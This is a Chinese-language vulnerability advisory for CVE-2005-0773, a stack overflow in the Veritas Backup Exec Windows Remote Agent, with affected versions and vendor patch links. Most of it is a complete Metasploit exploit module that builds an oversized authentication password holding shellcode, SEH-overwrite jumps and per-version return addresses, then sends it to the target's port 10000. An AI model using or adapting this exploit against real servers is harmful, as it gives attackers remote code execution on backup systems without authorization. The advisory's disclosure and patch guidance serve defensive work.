发布日期：2005-06-23
更新日期：2005-06-23

受影响系统：

Veritas Backup Exec for Windows Servers 9.1
Veritas Backup Exec for Windows Servers 9.0
Veritas Backup Exec for Windows Servers 10.0

描述：

---

BUGTRAQ  ID: 14022
CVE(CAN) ID: CVE-2005-0773

Veritas Backup Exec Remote Agent是一款支持网络数据管理协议（NDMP）的数据备份和恢复解决方案。

Veritas Backup Exec Remote Agent在处理用户认证请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

当客户端发送一个类型3的认证请求，而且带有一个超长的Password字段时会触发缓冲区溢出漏洞，导致执行任意指令。

<**>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::backupexec_agent;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'      => 'Veritas Backup Exec Windows Remote Agent Overflow',
    'Version'      => '$Revision: 1.9 $',
    'Authors'     => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
    'Arch'      => [ 'x86' ],
    'OS'        => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
    'Priv'      => 1,

    'AutoOpts'    => { 'EXITFUNC' => 'process' },

    'UserOpts'    =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 10000],
      },

    'Payload' =>
      {
        'Space'     => 1024,
        'BadChars'  => "\x00",
        'Keys'        => ['+ws2ord'],
        'Prepend' => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
      },

    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the Veritas BackupExec Windows
    Agent software. This vulnerability occurs when a client authentication request
    is received with type '3' and a long password argument. Reliable execution is
    obtained by abusing the stack overflow to smash a SEH pointer.
}),

    'Refs' =>
      [
          ['OSVDB', '17624'],      
        ['CVE', '2005-0773' ],
        ['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
        ['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],
        ['MIL', '9'],
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [
        ['Veritas BE 9.0/9.1/10.0 (All Windows)',  0x0140f8d5, 0x014261b0 ],
        ['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],
      ],

    'Keys' => ['veritas'],
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

# Version 4.2 -> 9.1
# Version 5.1 -> 10.0
sub Check {
    my $self = shift;
    my ($vend, $prod, $vers) = $self->GetVersion;

    if (! $vend) {
        $self->PrintLine("[*] Could not determine the version number");
        return $self->CheckCode('Unknown');
    }

    $self->PrintLine("[*] $prod Version $vers ($vend)");
    return $self->CheckCode('Detected');
}

sub Exploit {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];

    $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ( $s->IsError ) {
        $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
        return;
    }

    my $res = $s->Recv(4, 5);
    $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);

    my $username = "X" x 512;
    my $password = Pex::Text::PatternCreate(8192);

    # Place our payload early in the request and jump backwards into it
    substr($password, 3536-length($shellcode), length($shellcode), $shellcode);

    # This offset is required for version 10.0
    substr($password, 3536, 2, "\xeb\x06");
    substr($password, 3540, 4, pack('V', $target->[2]) );
    substr($password, 3544, 5, "\xe9" . pack('V', -1037));

    # This offset is required for version 9.0/9.1
    substr($password, 4524, 2, "\xeb\x06");
    substr($password, 4528, 4, pack('V', $target->[1]) );
    substr($password, 4532, 5, "\xe9" . pack('V', -2025));

    my $conn_auth =
      pack('N', 1).         # Sequence number
      pack('N', time()).    # Current time
      pack('N', 0).         # Message type (request)
      pack('N', 0x901).     # Message name (connect_client_auth)
      pack('N', 0).         # Reply sequence number
      pack('N', 0).         # Error status
      pack('N', 3).         # Authentication type
      pack('N', length($username)).
      $username.
      pack('N', length($password)).
      $password.
      pack('N', 4);

    $self->PrintLine( "[*] Sending authentication request of " . length($conn_auth) . " bytes..." );
    $s->Send(pack('N', 0x80000000 + length($conn_auth)) . $conn_auth);

    return;
}

sub GetVersion {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ( $s->IsError ) {
        $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
        return undef;
    }

    my $res = $s->Recv(4, 5);
    return undef if ! $res;
    $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);

    my $serv_info =
      pack('N', 1).         # Sequence number
      pack('N', time()).    # Current time
      pack('N', 0).         # Message type (request)
      pack('N', 0x108).     # Message name (connect_client_auth)
      pack('N', 0).         # Reply sequence number
      pack('N', 0);         # Error status

    $s->Send(pack('N', 0x80000000 + length($serv_info)) . $serv_info);
    $res = $s->Recv(4, 5);
    return undef if ! $res;
    
    $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
    $s->Close;

    # Skip past the protocols headers
    $res         = substr($res, 28);

    # Vendor
    my $vend_len = unpack('N', substr($res, 0, 4));
    my $vend     = substr($res, 4, $vend_len);
    $res         = substr($res, 4 + $vend_len + 1);

    # Product
    my $prod_len = unpack('N', substr($res, 0, 4));
    my $prod     = substr($res, 4, $prod_len);
    $res         = substr($res, 4 + $prod_len + 1);

    # Version
    my $vers_len = unpack('N', substr($res, 0, 4));
    my $vers     = substr($res, 4, $vers_len);
    $res         = substr($res, 4 + $vers_len + 1);

    return ($vend, $prod, $vers);
}

1;

建议：

---

厂商补丁：

Veritas
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

Veritas Software Backup Exec for Windows Servers 10.0 rev. 5484 SP1

    * Veritas Software be5484RHF24_275514.exe
      http://support.veritas.com/docs/275514


Veritas Software Backup Exec for Windows Servers 9.0 rev. 4367 SP1

    * Veritas Software be4367RHF21_276156.exe
      http://support.veritas.com/docs/276156


Veritas Software Backup Exec for Windows Servers 9.0 rev. 4454 SP1

    * Veritas Software be4454RHF31_275911.exe
      http://support.veritas.com/docs/275911


Veritas Software Backup Exec for NetWare Servers 9.0.4202

    * Veritas Software B904202HF1_277423.EXE
      http://support.veritas.com/docs/277423


Veritas Software Backup Exec for Windows Servers 9.1 rev. 4691 SP2

    * Veritas Software be4691RHF52_275909.exe
      http://support.veritas.com/docs/275909

浏览次数：2615
严重程度：0（网友投票）